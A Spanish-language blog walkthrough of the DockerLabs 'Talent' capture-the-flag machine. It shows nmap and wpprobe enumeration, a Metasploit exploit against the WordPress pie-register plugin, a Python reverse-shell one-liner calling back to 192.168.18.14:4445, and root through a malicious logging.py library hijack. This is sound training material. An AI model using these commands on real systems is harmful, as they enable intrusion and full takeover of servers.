Post

Talent, DockerLabs

portada

Herramientas y recursos

En este reto de DockerLabs practicamos.

Tecnicas Herramientas
scan de puertos nmap
enumeracion wordpress wpprobe

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX bola 172.17.0.3

reporte

Como nos muestra nmap solo tenemos el puerto http 80 y lo que vemos es un wordpres que no nos permite ni loguearnos, por tanto vamos a tratar de enumerar solo plugins dado que antes ya probe wpscan y solo encontro el usuario admin y ningun plugin. Voy a probar con wpprobe escrito en go , lo enontrais en github.

1
./wpprobe scan -u http://172.17.0.2 --mode bruteforce

Estamos de suerte nos encuentra pie-register

wpprobre

Infiltracion y escalada

Si nos dirijimos al directorio del plugin es listable

pie

Segun he leido podria ser vulnerable a traves de la ruta http://172.17.0.2/wp-admin/admin-ajax.php?action=pie_register_check_invitation_code&code= con inyeccion sql yo he probado varios metodos sin exito de errores a la vista , ni metiendo sleep para averiguar si la consulta he llegado a buen puerto y como podeis ver en la imagen de arriba pobre desde varios lugares. La otra opcion ha sido msfconsole con el siguiente exploit wp_pie_register_bypass_rce.0

1
2
3
4
use exploit/unix/webapp/wp_pie_register_bypass_rce
set rhosts 172.17.0.2
set lhosts 192.168.18.14
exploit

Obtenemos session

meterpreter

Como no gusta mucho esto de meterpreter y el entorno que genera me subo una webshell para posteriormente mandarme una shell mas limpia posteriormente.

upload

error de borrado al hacer la limpieza antes de subirla Una vez en la shell me encontre con un problemita y es que la escalada requeria de python el cual lo borraron asi que os dejo los pasos de instalacion por si pas en otra maquina que sepamos como solucionarlo. Gracias a Maci__ por el comandito

error

La solucion por si quieren seguir con la maquina y tardan en arreglarla:

1
2
3
docker container ls  "necesitareis el id del container en ejecucion"
docker exec -it $CONTAINER_ID bash -c 'apt update -y'
docker exec -it $CONTAINER_ID bash -c 'apt install python3 -y'

YA PODEMOS SEGUIR :-)

Ahora lo que hago es crearme un fichero en /tmp para mandarme una revshell como bobby haciendo uso de python3.

1
echo 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.18.14",4445));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")' > /tmp/rev.py

Nos ponemos a la escucha en con nc -lvnp 4445 y ejcutamos el fichero creado .

1
sudo -u bobby /usr/bin/python3 /tmp/rev.py

rev

Seguimos la escalada como unos señores desde nuestra term podemos cerrar todo lo que no usamos como msfconsole que aun me andaba dando vueltas, ante todo orden.

En /opt encontramos el fichero backup.py y tiene toda la pinta de un library paht hijacking vamos a tratar de crear en el mismo directory una libreria logging.py.

Fichero logging.py malicioso.

1
echo 'import os; os.system("/bin/bash")' > /opt/logging.py

y posteriomente ejecutamos.

1
sudo -u root /usr/bin/python3 /opt/backup.py

Sucede pq hemos podido ver que librerias se importan en el codigo , y tenemos permiso de escritura en el mismo directorio donde se ejecuta la app aparte del sudo sin pass. Tambien podriamos usar PYTHONPATH si sudo fuese algo permisivo

y somos root

root

Hasta aqui la maquinita, gracias por leer.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.